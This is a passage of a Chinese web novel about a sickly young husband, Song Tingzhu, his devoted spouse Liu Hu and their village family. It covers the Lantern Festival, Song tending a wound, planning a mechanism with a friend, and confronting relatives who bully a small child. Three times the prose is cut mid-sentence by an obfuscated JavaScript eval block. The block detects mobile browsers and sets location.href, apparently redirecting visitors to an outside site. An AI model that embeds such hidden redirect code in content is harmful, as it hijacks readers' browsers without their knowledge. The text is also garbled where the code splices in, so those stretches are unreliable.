刘小妹见状满意点头，端起针线筐道：“两日后就是上元节了，嫂夫郎要是吹风受了寒，就不能跟我们一起去镇上瞧花灯了。” 夏哥儿在一旁蹲着玩草编蚂蚱，听见小姑说花灯，扭头兴冲冲地说：“花灯可好看了，小叔么一起去呀。” 宋听竹勾了勾唇角，没有作声。 他这身子近日的确有所好转，但若想坐牛车到镇上，只怕还是不成。这会儿小家伙正在兴头上，没的说些让人扫兴的话，影响心情。 小半刻钟后，田乐来了。 这段日子他每天都来刘家陪宋听竹说话解闷儿，顺道做些绣活练练手艺。 “田乐哥哥，你来啦。”见他进院，刘小妹热情地打着招呼。 “哎。” 他从兜里掏出几颗红枣，让两小的拿去吃，自个儿匆匆进了西屋，从怀里掏出两个荷包，凑过去给宋听竹瞧。 “嫂夫郎，你瞧我这两个荷包绣得咋样？本想早点过来的，家里来人了，这会儿才得空呢。” 宋听竹接过荷包，问道：“又是来给你哥相看的？” “可不，年后已经来第四波了。”田乐皱着个眉头，有些不高兴地说，“方才我娘送媒婆出门，我追上去偷偷打听了一嘴，问她有没有合适人家给我也相看一个，你猜她说什么？” 宋听竹猜不出，但瞧乐哥儿表情，也知道定不是什么好话。 田乐气呼呼，咬着牙道：“她说我不知羞，这样的小哥儿上赶着给人做夫郎都没人要！当谁稀罕嫁人似的，要是不用缴纳未婚税，一辈子嫁不出也没关系，娘嘴上嫌我，可心里也舍不得我嫁人呢。” 宋听竹道：“婚嫁一事急不来，若是没遇见合适的，还是不要着急的好。你今年十五，未婚税只用缴纳一百二十钱，若你把绣工练好了，何愁赚不到银子？” 田乐瞅了眼自己绣的荷包，深深叹了口气：“我也是这么想的，可嫂夫郎你看我这绣活儿做的，我这手艺但凡有小妹一半，也就不用这般发愁了。” “天底下又不是只有做绣活一个赚钱法子，便是鸡鸭侍候好了，也能当个养殖大户。” “我家可没那么多空地儿用来养鸡鸭。” 宋听竹轻笑：“只是举个例子，况且你之前不是同我说过，自己养不了活物。” 田乐垂头丧气：“是啊，麦苗跟韭菜都分不清的农家子，天底下怕是也没几个了。” 宋听竹想说自己也分辨不开，可他自小在府城长大，连麦田都没见过何谈区分，于是便避开话题：“你可有喜欢做的事？” “喜欢做的事吗？”田乐想了想，说道，“我平时喜欢用竹子做些小巧物件，家里有一堆巴掌大小的桌椅板凳，除了这些我还会做小竹鸟、小竹鸡，常见的小动物我都会做，就是有些不够精致，没办法拿去镇上卖。” “对做木工有兴趣？” “也不是，就只是单纯爱琢磨某个物件的做法，往精细了制作我可没那能耐，我娘见我屋里一堆破烂儿，总说把我生错了，应当生个小子，送去姚木匠那做学徒才是。” 宋听竹被逗笑，“那婶子怕是要失望了。” 田乐撑着下巴，做忧郁状：“托生成个汉子也好，起码不会为未婚税发愁，力气还比小哥儿大，进山砍竹子能省不少力气呢。” 宋听竹闻言，有些恍惚。 自己若是男子，是不是就能护住娘了？ 可这是无法改变的事，他当不成男子，乐哥儿也当不成。 “不说这些个了，分明是来给嫂夫郎解闷的，反而净说些让人跟着心情不快的事儿。”田乐收起荷包，重新打起精神，“我再回去练练，过几日拿来给嫂夫郎瞧。” 宋听竹点头。 两人聊了会儿开心的，待刘家人陆续回来，田乐便也起身回了自家。 一家子在堂屋吃过晚饭，各自回房睡下。 西屋里，刘虎给宋听竹擦洗完身子，抱着木桶转身离开时，被宋听竹叫住了。 “你背后为何会有血迹？”宋听竹眉心紧拧，见汉子眼神躲闪，又道，“若是想着糊弄我，明日我便让小妹将窗子开上一整日。” 刘虎扭回头着急道：“俺说，今儿上工时不小心被木头砸了下。” 宋听竹听后，心头一颤：“怎会被砸到，伤得严重吗可有上过药？” 见媳妇儿关心自己，刘虎脸上露出憨笑：“不严重，就是瞅着吓人了些。” 宋听竹眉心皱得更紧，他抿紧嘴角，心道流了这么多血怎么可能不严重，这傻子八成心疼银子，这才没及时到医馆诊治。 “过来让我瞧瞧伤处。” “不用了媳妇儿，已经上过药了。” 宋听竹沉下脸来：“好，往后你也不用管我，咱们谁也别管谁。” 说完掀开被子，作势要下床。 刘虎傻愣愣站在门前，直到宋听竹光着双脚踩到地面上，木桶一丢，忙上前将人抱回床上，扯过棉被盖好。 头回见媳妇儿生气，汉子脸上带着慌乱，又不知该如何让人消气，木头一般杵在那，瞧得宋听竹越发生气了。 “你管我做什么，不是说好谁也不管谁吗？” 刘虎不会哄人，按着被角嘴笨道：“俺没答应。” 宋听竹挣了两下，非但没挣开还把自己累够呛。 他气息不稳道：“你看得了今日，看不了明日，要么一辈子不出去做活，在家里盯着我好了。” 见他不吭声，宋听竹气到背过身子，眼不见为净。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906335|160175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 身后半点动静也无，好半晌才听见汉子开口认错。 “媳妇儿俺错了，你别生俺气了。” 宋听竹依旧背对着人，沉声问：“那你说自己错在哪儿了？” “俺让你管，背上的伤也让你瞧，只要你别再生俺气，往后你让俺干啥俺就干啥。” 宋听竹转过身子，盯着汉子瞧：“说话可算数？” 刘虎点头，“算数，俺不骗你。” 宋听竹这才有了好脸色，坐起身子道：“柜子里有药膏，去取来。” 汉子照做。 待药膏取来，宋听竹又指挥着人把衣裳脱了。 方才隔着布料便觉着伤处不会轻，这回真瞧见了才晓得竟有这么严重，且瞧着不像看过大夫，倒像是自己胡乱冲洗后，便直接包扎了，那布条都快嵌进肉里去，触目惊心，瞧得宋听竹心口发酸。 “家里可有烧酒？去取些来，顺道打盆热水。” “哎。” 待将烧酒、热水取来，宋听竹便让汉子坐在床头，小心翼翼将染血的布条去掉，捏着湿帕子将伤口周围擦净后，对汉子轻声道：“要倒烧酒了，忍着些。” “媳妇儿你倒就是，俺不怕疼。” 宋听竹蹙眉，都是肉长的怎会不疼，只不过是经历多了，习惯了疼痛罢了。 头些日他听小妹说了分家前的事，刘老太太年轻那会生过几场病，找人瞧了说是被猛虎克的，可云溪村只深山里有老虎，刘老太压根就没进过深山，咋会被克到？ 思来想去便将心思放在了老大家，两个取名猛、虎的孙子身上，起先刘老太太行事还不算偏激，只是心里膈应想给两孙子改个名儿，谁知去村长家路上不小心摔进土沟里，这一摔险些摔去半条命，将养了小半个月，刚能下床便抱着两孙子给扔去了后山。 刘猛运气好，让人瞧见抱了回来，刘虎扔得远些，三天后才被进山打猎的老猎户发现领回家，当时刘虎不满一岁话都不会说，一个只会爬的幼童，在深山里待了整整三日，宋听竹每每想起便心疼到不行。 他眼眶发酸，手上动作越发轻柔了些。 处理好伤处，叮嘱道：“这几日记得别用这侧肩膀干重活，养好身子才是正事。” 刘虎点头：“俺记住了。” 汉子肩上不止有伤口，还有磨出来的厚茧，宋听竹指尖划过，心底说不出是个什么滋味，只鼻尖再次泛起酸意。 “媳妇儿？”见媳妇儿没将手拿开，刘虎疑惑地唤了声。 宋听竹忙转过脑袋，整理着被褥道：“不早了，吹灯睡吧。” “哎。” 夜里宋听竹发梦了，他梦见娘亲有话同他说，他想问问娘亲是不是要来接自己，可明明很短的距离，两人之间却像隔着千山万水，任由他拼命追赶，也始终追赶不上。 他想兴许是没到时间，或许再过些日子，便能听见娘亲说话了，到时他要告诉娘亲，自己成亲了，虽是个庄稼汉子，却知他冷暖，对他无所不从。 他还想问问娘亲，可不可以再等等，他……他有些舍不得这么快离开了…… 12. 悄然生根 正月十五上元节，这日云溪村百姓都起了个大早，个个跨篮背篓，面上瞧着也是喜气洋洋，不仅因为能到镇上赏花灯瞧热闹，重要的是今日镇上人多，带去的东西一准能卖个好价钱。 刘家小院儿也早早燃起了油灯，阮秀莲跟大儿媳各挎着一篮子鸡蛋鸭蛋，刘小妹揣上这几日攒下的绣活，娘仨收整好一起从屋里出来。 “夏哥儿还睡着呢？”阮秀莲问抱着孙子的大儿子。 刘猛点头：“昨儿惦记着去镇上看灯，闹腾到很晚才睡下。” “让他睡吧，被子裹紧咯，牛车上冷可别冻着。” “哎。” 今日他不用去做工，张地主还好心地将家里牛车借给了他，许他带着一家子去镇上好好过个节。 刘猛心里感激，想着日后做活定要更加勤恳，家里日子过得最困难那阵子，是张地主雇用了他，二弟娶妻的聘礼张地主夫郎也帮了忙，张地主一家都是大善人，他得懂得知恩图报才成。 临走前，阮秀莲叮嘱还要去做工的二儿子：“虎子，走前别忘了给竹哥儿熬药，缸里还剩些白米，熬些米粥给你媳妇儿喝。” “知道了娘。” 刘虎瞧着几人坐上牛车，目送一家子走远，转身回了院子。 西屋里宋听竹额头上沁着冷汗，听见吱呀地开门声，猛然睁开眸子从噩梦中惊醒。 “媳妇儿你咋了？” 刘虎掩好门大步走到床前，见宋听竹一头冷汗，发梢都被汗水打湿，眸子也没什么光彩，登时拧起浓眉慌乱道，“媳妇儿，你别吓俺！” 宋听竹手脚冰凉，他一脸木然地被汉子揽在怀里搓着手脚，好半晌才缓过神来，一双眸子也渐渐有了焦距。 “别担心，我没事。”他朝汉子露出个虚弱的微笑，声音小到几乎听不见，“只是被噩梦魇着了，这会儿已经没事了。” 刘虎仍皱着眉头，抱着人直到怀里的身子彻底回暖，这才将宋听竹放回塌间。 “俺今天不去做工了。”他闷声说。 宋听竹本想劝，可汉子望向他，那满心满眼都是他的神情，直让他心尖发颤，拒绝的话便无论如何也说不出口了。 “好。”他笑着应。 刘虎紧张的表情一松，“俺去给你打盆水擦擦汗。” “嗯。” 宋听竹靠在汉子怀里，被仔细擦过汗，又换了身干净清爽的衣裳，人瞧着总算有了些精神。 刘虎看着心里踏实不少。 被人盯着用过早饭喝过药，宋听竹便又靠着床头昏昏欲睡起来。 刘虎在一旁凳子上理着稻草，他强打起精神，问他在做什么。 刘虎道：“编几张席子，得空拿去镇上卖。” 今日不能去镇上做工，少赚四十五文铜板，得找机会把这银钱补回来。 宋听竹猜出他意图，没再说话打扰，而是静静望着，汉子十指翻飞动作极快，宋听竹瞧着瞧着便开始眼皮子打架，没一会儿便合眼进入梦乡。 昨夜没睡安稳，现下有刘虎陪着好生睡了个回笼觉，下午醒来神清气爽，乐哥儿来跟他说话，见着他也说今日气色瞧着比昨日好很多。 今儿天气大好，外头日头足，田乐便说要扶宋听竹出去晒太阳，见他点头，扭头知会在院子里编席子的刘虎：“虎子哥，我扶嫂夫郎出去晒会太阳。” “成。” 待两人出屋，刘虎已经搬来两张凳子，搁在了院墙底下。 田乐瞧见朝宋听竹挤眉弄眼，“嫂夫郎，虎子哥对你可真好，衣裳都提前帮你捂好呢。” 他方才给嫂夫郎递衣裳，摸着竟是温热的，便知定是在灶膛跟前烤过。想不到他虎子哥笨嘴笨舌的糙汉子一个，还挺会照顾人。 宋听竹也瞧了眼认真做活的汉子，转头道：“就别打趣我了，今日上元节，怎的没去镇上瞧花灯？” 田乐兴致缺缺：“年年都一个样有啥可瞧的，还不如在家研究怎么能让小鸟飞起来。” “让小鸟飞起来寻常制作法子可不行。”宋听竹思索道，“乐哥儿你可知道偃师？” 田乐摇头：“偃师是啥？” 宋听竹解释道：“是一群擅长制作各种机械和机关的匠人。” 田乐闻言，双眸发亮：“嫂夫郎你认识机关师？！” “不认识，只在书上看见过，盛国偃师稀少，即便到了府城也是难得一见。” “其实我小时候见过一位机关师，是位头发花白的老爷爷，他做的东西可精巧了，就是因为那位老爷爷，我才喜欢上制作小巧物件的，只不过后来就再也没瞧见过他了。” 宋听竹见他感兴趣，便问：“想当一名偃师？” 田乐摆手：“我可没那么远大的志向，就只是做着玩罢了，但要能倚靠这个赚些银钱，可就最好不过了。” 远大的志向吗。 宋听竹陷入回忆。 他曾经是有的，外公家经营着酒铺，以制酒为生，娘也爱制酒，许是随了娘亲外公，他也对制酒感兴趣，幼时娘亲在世时，读过不少这方面书籍，还在娘亲外公面前夸下海口，说自己将来定会将家中酒铺开往京都。 后来娘亲去世，他的身子也越来越差，这个想法便被渐渐压在了心底，他像一只折翼蝴蝶，终日被困在宋宅，只能看些闲书消磨时光，那些理想抱负也日复一日被磨灭光了。 田乐见他表情放空，担忧道：“嫂夫郎？怎的发起呆了，可是身子又不舒坦了？” “没有，只是想起了一些事情。” 宋听竹回过神，他瞧着乐哥儿，一个想法在心底悄然生根。 “乐哥儿，你擅长钻研物件，那我若是给你一张内容有所缺失的图纸，你可能研究出做法？” “我也不知道，但可以试一试。”田乐好奇道，“嫂夫郎你是想要做什么东西吗？” 宋听竹眉心微拧：“的确有一个想做的，但现在不成，因为是大物件材料比较昂贵。” “这样啊，那可以用竹子研究个小的，等咱攒够了银钱再做大的。” 宋听竹闻言勾起唇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906336|160175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角：“这倒是个好法子。” 刘虎在一旁编着席子，不时抬头扫一眼自家媳妇儿，听见媳妇儿要做东西，心里也跟着好奇，不过没表现出来，左右不管媳妇儿想做啥，自己一百个支持，没银子他就努力做活赚。 只是不晓得媳妇儿需要多少银子，他脑子笨，除了有一把子力气赚些辛苦钱，旁的啥也做不了。 媳妇儿若是需要很多银子该咋办，跟老猎户一样进山打猎？运气好猎到头野鹿，能换一二十两银子呢，便是猎不到野鹿，野鸡、野兔也能卖个好价。 但他功夫学得不到家，也不知能不能猎到东西。 这头刘虎编着席子神游，那厢宋听竹领着乐哥儿去了杂间儿。 待瞧见他那一整面墙的书，田乐原本就大的眸子，顿时睁得更大了。 “我的乖乖，居然有这么多书，这得花多少银钱才能买来！” 宋听竹眼含笑意：“我也不清楚，娘跟外公隔三岔五便会送书来，日积月累便攒下这许多。” “怪不得嫂夫郎懂得多，竟瞧过这么多书，刘老二家刘玉书在镇上书院念了五六年，才学会三四本，就这柳老太太还逢人便吹嘘她家孙子饱读诗书呢，也不怕人笑掉大牙！” “村子里念书机会少，刘老太能送刘玉书去书院读书，且一读就是五载，便已经很让大伙艳羡了。” “这倒是，不过嫂夫郎你让我瞧你这些书做啥，我大字不识一个可看不懂。” 宋听竹道：“读不懂字没关系，能瞧得懂图纸就好。” 头些日子爹跟大哥虎子帮他打了书架，小妹也将他这些书整理过，且按照他说的一一分了类，这些书他大部分都读过，脑子里有些印象，如今又整理过，只需扫一眼，便晓得哪本是自己想要的。 宋听竹取了两本书，同田乐坐回小凳上，凑着脑袋谈论。 “图纸好精细，只是瞧着像是故意没画完。” “这部分属于家族机密，是不能外传的。” 田乐听后忽而压低声音，作贼一般说道：“那咱这算不算偷师啊，要是被主儿家发现，不会把咱告上县衙，让咱蹲大牢吧？” 宋听竹被他这想法逗笑，好一会儿才压着笑意解释：“安心，没人会把你抓去蹲大牢，写这本书的老者已经去世许久，后来家中逐渐没落，其后人病逝前曾在书的末尾补充，若有人能补全图纸，便将这制作的法子赠与他。” 田乐是个聪慧的，思索片刻，拍手道：“怪不得那刘玉书整日念叨书中自有黄金屋，这书里藏着那么多赚钱法子，可不就是个金疙瘩吗！” 宋听竹失笑：“这句话的意思是读书考取功名，便能拥有享不尽的荣华富贵，其目的是为鼓励学子读书考功名，从而实现人生理想与抱负。” 见乐哥儿听得云里雾里，宋听竹眼底笑意更浓：“不过你这么想也没错，读书能开阔眼界，即使足不出户也能让你游遍大千世界。” 过去十几载，他便是靠着这些书知事懂礼，没有如宋夫人愿，养出一副蛮横无理的性子来。 13. 夏哥儿受欺负 二人聊得入迷，过了时辰都不知，刘虎起身往两人跟前一站，遮去了大半阳光，图纸都看不真切了。 田乐歪着身子，眼神儿一刻也不想离开图纸：“虎子哥你干啥，我跟嫂夫郎正说到要紧处呢。” 刘虎没理，他瞧着自家媳妇儿，固执道：“媳妇儿，你该回屋歇着了。” 宋听竹抬眸看着汉子，唇边露出一抹笑来：“夫君，再给我一些时间可好？” 刘虎闻言，身子僵了下。 田乐也跟着面上一红，他垂下脑袋，指腹搓着手中书页，心头怦怦跳。 他还没在村里听过这称呼呢，他娘叫他爹当家的，生气时唤大名，从小到大只在镇上偶尔听过几声，但也都没他家嫂夫郎叫的那般、那般温声细语，好像撒娇似的，他一个小哥儿听得耳朵都酥了。 抬眼偷瞧了眼虎子哥，见他傻愣愣的也不说话，只晓得盯着嫂夫郎瞧，捂嘴偷笑起来。 察觉到乐哥儿颤动的肩膀，宋听竹耳根一热，当即别开目光，对汉子说道：“半刻钟就好，我还有几句话要同乐哥儿讲。” “半刻钟后俺扶你进屋歇息。” 见宋听竹点头答应，刘虎扭过身子回到原处，他瞧着地上未做好的席子没了编织的心思，抬手摸了摸胸口，憨厚的脸上带着不解。 媳妇儿刚才唤他夫君时，这里跳得好快，咚咚咚的好像在打鼓，他从没这样过，难不成是病了？ 刘虎攒着浓眉仔细感受了下。 这会儿好像又好了，他便没多在意，提起席子继续编织起来。 半刻钟后，田乐揣着图纸步伐轻快地踏出刘家院子，宋听竹则在自家夫君寸步不离的看顾下，爬上床休息。 日入时分，日头将将落山之际，阮秀莲夫妇领着一大家子回了小院。 刘猛从他爹手里接过缰绳，扬声道：“娘，我去张地主家送牛车了。” “去吧。” “爹爹，夏哥儿的糖人儿呐？！” 小家伙在镇上逛了几个时辰，回来便在路上睡着了，牛车进了村子才醒，方才还有些迷糊，这会子被爹爹抱下牛车，才想起小姑买给自己的糖人儿不见了！ 唐春杏在一旁道：“娘帮你拿着呢，还能给你丢了不成。” 夏哥儿一张小脸儿露出笑容，“给夏哥儿，小叔么没瞧见花灯，也没吃上好吃的，夏哥儿要把糖人儿送给小叔么，给他甜甜嘴儿。” 唐春杏见自家小哥儿三句不离弟夫郎，有些吃味：“一个糖人儿也不值几个钱，你小叔么可瞧不上眼。” 夏哥儿噘起嘴巴：“才不会呢，夏哥儿一早就跟小叔么说好啦～” 他踢着脚丫，着急道：“爹爹，你快放夏哥儿下来呀。” “好，这就放你下来。” 一落地小家伙便迈着短腿，哒哒哒朝西屋跑去。 刘小妹紧随其后。 她今日卖帕子荷包小赚了一笔，不仅给爹娘买了礼物，还给嫂夫郎也带了一份。 西屋内宋听竹一早便听见院里传来的动静，刚穿好衣裳房门便被夏哥儿拍响。 “小叔么，夏哥儿给你带糖人儿回来了哦，小姑也给你带了礼物呐！” “嫂夫郎我给你带了条发带，旁的太贵了，我还买不起，等日后我绣活再精进些，赚得银钱多了也给你买个烫金云纹的，那发带可漂亮了，料子还是绸缎的呢。” 两小的围在床头你一句他一嘴，宋听竹非但不觉得吵闹，反而觉得很是温馨，他笑着问小妹夏哥儿，花灯可好看人可多，杂耍可神奇。 “花灯可好看啦，人也特别特别多，有这么～多人。”小家伙张开双手比划着，语气夸张，“夏哥儿都快被挤扁啦～” “是吗，让小叔么瞧瞧肚肚被挤扁没？”宋听竹伸手在小哥儿圆鼓鼓的肚皮上摸了摸，而后笑着说道，“还好，没被挤扁。” 夏哥儿喜欢宋听竹，也愿意同他亲近，被宋听竹摸了小肚子，便倾斜着身子往他怀里靠了靠。 “因为爹爹一直抱着夏哥儿呐～” 一大两小在屋里说了好一会子话，才左右拥着宋听竹到堂屋用饭。 刘家今日吃得丰盛，有炒鸡蛋、腊肉炒菘菜，还有镇上买来的大包子，包子素馅居多，肉馅只五个，家里男丁一人一个肉馅的，剩下两个娘四个分着吃。 阮秀莲掰开一个皮薄馅厚的肉包子，将稍大些的那半给了宋听竹。 “竹哥儿近日瞧着脸色好多了，改天让虎子请大夫来家里瞧瞧，若是好些便让小妹多陪你到外头走走，整日在家圈着，小病也该闷成大病了。” 刘大生这个一向话少的，也开口道：“是该这样，想当初我这腿大夫都说没法子治了，我也想开了，整日吃吃喝喝，该干啥干啥，谁想到这心情舒畅了，身子也跟着好转起来，后来都能下地走动了。” 阮秀莲接话：“可不，大夫都道神了，直说咱家气运好。” 转而又对儿夫郎道：“竹哥儿你且放宽了心，啥也别想把身子养好才是正经，银钱的事不用操心，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906337|160175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟你爹还能干得动，过阵子天气暖和起来，虎子也能找到一份稳定的活计干，家里都是些勤快的，日子指定越过越好。” 一番话让宋听竹触动颇多，他眼眶泛酸，忍下落泪的冲动，轻声应道：“知道了娘。” － 出了正月，年节才算彻底过完，待入了仲春农户便逐渐忙碌起来，刘家也开始早睡早起，送粪积肥，为春耕春播做准备。 这日一早，刘家人卯时不到便出了门各忙各的，刘小妹留下烧饭，年纪最小的夏哥儿也被指派了任务，挎着刘大生特意给编的小竹篮，到村东头的蔡大婶家换豆腐。 跨进大门，小家伙眯起一对月牙眼，笑容灿烂地唤了声：“蔡奶奶。” “哎，夏哥儿来啦。” 蔡婶子最是喜爱孩子，村里就没哪家小娃子是她没抱过的，不过要说最招人疼的，当属刘老大家夏哥儿，年纪虽小却最懂事儿，还时常帮着大人做活，惹人喜欢得紧。 夏哥儿让蔡婶子稀罕了会儿，这才举起小篮子，奶声奶气道：“蔡奶奶，我要换两块豆腐。” “好，这就给你装上。” 蔡婶子不仅给挑了两块大的，还给多装了半块，弯腰递给夏哥儿，关心道：“提得动不？蔡奶奶送你回去？” 夏哥儿摇头，“谢谢蔡奶奶，夏哥儿能提动。” 蔡婶子见他乖巧，摸着小家伙发髻，叮嘱道：“成，路上慢些，当心摔着。” “嗯嗯，蔡奶奶再见～” 蔡婶子目送夏哥儿走远，方才回了院子。 刘家离着村头不远，只是要去蔡婶子那就得经过刘二生家，夏哥儿怕曾奶跟二爷爷，回回都是绕着走，今日也是这般做的，可挡不住刘老二家几个小的故意找茬。 刘二生大儿子的一双儿女在院子里玩耍，老大刘玉杰今年五岁，小汉子在家做惯了霸王，又常年受刘老太太影响，对刘大生一家也是恨之入骨。 这会儿瞧见夏哥儿从门前经过，手里东西一扔，直冲冲跑上前一把将夏哥儿推倒在地，将夏哥儿小篮儿里的豆腐踩了个稀烂。 “谁让你从我家门前过的，晦不晦气！” 夏哥儿愣了下，反应过来后，维持着趴在地上的姿势放声大哭。 刘家小院内，宋听竹坐在院墙下晒着太阳，许久不见夏哥儿回来，刚要唤小妹出去迎迎，就见一个胖妇人气喘吁吁跑进院，嘴里还喊着不好了。 “灵芝，你家夏哥儿被刘老二家小子欺负了，这会儿正趴在地上哭呢！” 14.听竹使手段 “快去瞧瞧吧，你那在镇上念书的四堂哥也回来了，杰小子硬是说夏哥儿招惹他妹妹巧儿，打翻夏哥儿豆腐不说，还跟你四堂哥告状要他再教训夏哥儿呢！” 刘小妹闻言赶忙扔下手里活计，一脸焦急地看向宋听竹。 “怎么办呀嫂夫郎，爹娘跟大哥他们都不在家，只我一个人过去，怕是带不回夏哥儿。” 宋听竹拧眉道：“别着急，我跟你一起去接夏哥儿。” “可是嫂夫郎你的身子……” “养了这些时日已经好多了。” 宋听竹安抚了刘小妹，向来家报信儿的婶子道了谢后，掩好院门同小妹急匆匆赶往刘二生家。 与此同时，刘二生家小院前。 刘杰指着坐在地上啜泣不止的夏哥儿，朝小叔刘玉书告状：“小叔，就是他欺负了巧儿，巧儿身上还有脚印呢！” 夏哥儿抱着小篮儿，小脸儿上满是惧意：“不、不是我呜呜……” 刘杰转身抓了把湿泥，丢在夏哥儿身上，恶狠狠道：“就是你！巧儿你自己说，是不是他踹的！” 刘巧儿今年四岁，比夏哥儿大一岁，但却不是个聪明的，性子懦弱，说话也磕磕绊绊，听见哥哥叫自己，垂着脑袋，捏着衣角点头道：“是、是夏哥儿……” 刘杰得意地扬起下巴，“看吧，就是你还不承认，撒谎精一个！” “夏、夏哥儿不是撒谎精呜呜呜爹爹娘、小叔么呜呜……” 夏哥儿被推倒在地，摔的满身是泥，这会儿脸上也沾了不少，又哭得那么伤心，路过的村民瞧见心里不落忍，帮着说好话。 “玉书啊，孩子们小打小闹再正常不过，况且巧儿瞅着只是衣角脏了，领回家换一身就是。” “这事儿定是有啥误会，夏哥儿平日里再乖巧不过，咋可能踹巧丫头。” “夏哥儿身上都湿透了，外头这么冷，再待下去该冻出毛病了。杨六婶子你离着秀莲家近，快帮着把孩子抱回家去吧。” “成。” 刘杰见有人要带走夏哥儿，立即跑上前阻拦：“不许走！刘夏儿欺负我妹妹，不能就这么算了！” 杨六婶道：“你这孩子，夏哥儿比你还小两岁呢，你是哥哥，就不能让着点弟弟？” “婶子这话说的，难不成因为年纪小，做了错事就不用负责？那要这样，我踹您一脚，因着我年纪小，是不是您也不会跟我计较了？” 刘二生家三哥儿刘文，打着哈欠踏出院子。 杨六婶被他这话气到，当即教训道：“文哥儿，有你这么跟长辈说话的吗？” “文哥儿，孩子们闹别扭罢了，何况夏哥儿也被你家杰小子推进了泥坑里，这事儿就算扯平了。” 刘文叉腰道：“啥扯平，受欺负的是巧儿，应当让巧儿踹回来才算扯平。” "文哥儿你这……" 大伙儿刚要替夏哥儿说话，就听人群后方，传来一道清冷嗓音：“的确不能扯平。” “这是……虎子他夫郎，竹哥儿？” “不是说人要不行了，这不活得好好的，现下都能出门了！” “瞧着气色比成亲那日好多了，莫不是身上的病真让刘家给治好了？” “哎你们还记得不，当年刘老大摔断了腿，梁大夫都说没得治了，谁料后来竟然奇迹般地好了。再说虎子他夫郎，刚嫁进刘家那日你们可是都瞧见了的，脸色白得吓人，好似随时都要去了一样，这会儿瞧着虽然也是个病重的，但跟那日比有人气儿多了。” “记得记得，梁大夫还说刘家福泽深厚，将来必定富贵满堂呐！” 大伙低声议论，也有人说些不中听的，宋听竹只当没听见，轻拍着刘小妹手背，示意她不要在意。 “小、小叔么小姑呜呜呜……” 夏哥儿瞧见小叔么跟小姑来了，松开小篮儿，朝二人伸着小手，哭得委屈又难过。 宋听竹忙走到跟前，蹲下身子将小家伙揽进怀中。 夏哥儿受了惊吓，身子一直在发着抖，宋听竹将人用衣裳裹好，拂掉脸颊上的泥土，轻声哄：“夏哥儿不怕，有小叔么在呢。” 夏哥儿紧紧抓着他衣襟，睁着一双哭到红肿的眸子，带着哭腔说：“小叔么，夏、夏哥儿不是撒谎精，夏哥儿没有踹巧儿姐姐……” “小叔么知道，夏哥儿最是乖巧。” 夏哥儿身上的衣裳已然湿透，宋听竹担心小家伙病倒，便让小妹先把人抱回家，请来梁大夫诊治。 刘小妹接过夏哥儿，怔怔地问：“嫂夫郎，你不跟我们一起回家吗？” 夏哥儿也用依赖的眼神望着他。 宋听竹摸着小哥儿被寒风冻硬的发髻，笑着安抚：“你们先回，我去帮夏哥儿请大夫。” 刘小妹没有怀疑，抱着夏哥儿转身往家跑去。 刘杰瞧见，扯着刘玉书裤腿，吱哇乱叫起来：“不准走，巧儿还没踹回来呢！三叔小叔，你们快帮我拦住那个死丫头呀！” 宋听竹闻言冷下眼神。 刘杰在家称霸王，在外头还是知道害怕的，宋听竹又是个面生的，被那冷冰冰的目光看着，顿时吓得视线躲闪，缩在自家小叔身后不敢再吭声。 宋听竹转身托杨六婶帮忙去请梁大夫，随即将目光投向刘玉书，沉声道：“小小年纪便飞扬跋扈、谎话成篇，玉书堂弟身为读书人，就是这般教导家中子侄的？” 刘玉书心气儿高，自打进书院念书，村里都是夸的，何曾被人当着众人面这么指责过，他心中怨恨恼怒，却还要维持读书人的脸面，装出一副敬重兄长的乖顺模样。 “嫂夫郎教训的是，玉书回去便自省，只是嫂夫郎方才说小杰飞扬跋扈、谎话成篇，玉书是不认的，小杰平时虽顽劣了些，却不会撒谎，况且巧儿也已经做证，是夏哥儿动手在先。” 宋听竹没工夫跟他扯皮，直截了当道：“堂弟在书院读了几年书，小哥儿跟汉子的脚印都分不清了？” “哟，竹哥儿不说还真没注意，夏哥儿的脚哪有那么大，这鞋印子瞅着倒跟杰小子差不多。” “原来是杰小子干的，我就说夏哥儿素来乖巧，咋可能做出这种事。” “这刘玉书还是读书人呢，是非不分颠倒黑白，书都读到狗肚子里去了！” 刘玉书脸色不好看，顾忌着面子没法发作，便给三哥刘文使了个眼色，示意他赶紧把人打发走。 刘文瞧见，开口敷衍道：“孩子们打闹谁知道是谁先动的手，兴许是慌乱间小杰不小心碰到了巧儿，这才造成了误会，我跟弟弟也是关心则乱，但夏哥儿跌进水坑可不是小杰推的，是他没自己站稳摔进去的。” 说着扯过刘杰胳膊，“还不快给你二伯么道歉。” 刘杰战战兢兢，“二、二伯么对不起。” 自导自演完，又阴阳怪气道：“以后瞧见夏哥儿记得避着点，别被人讹上了都不晓得。” 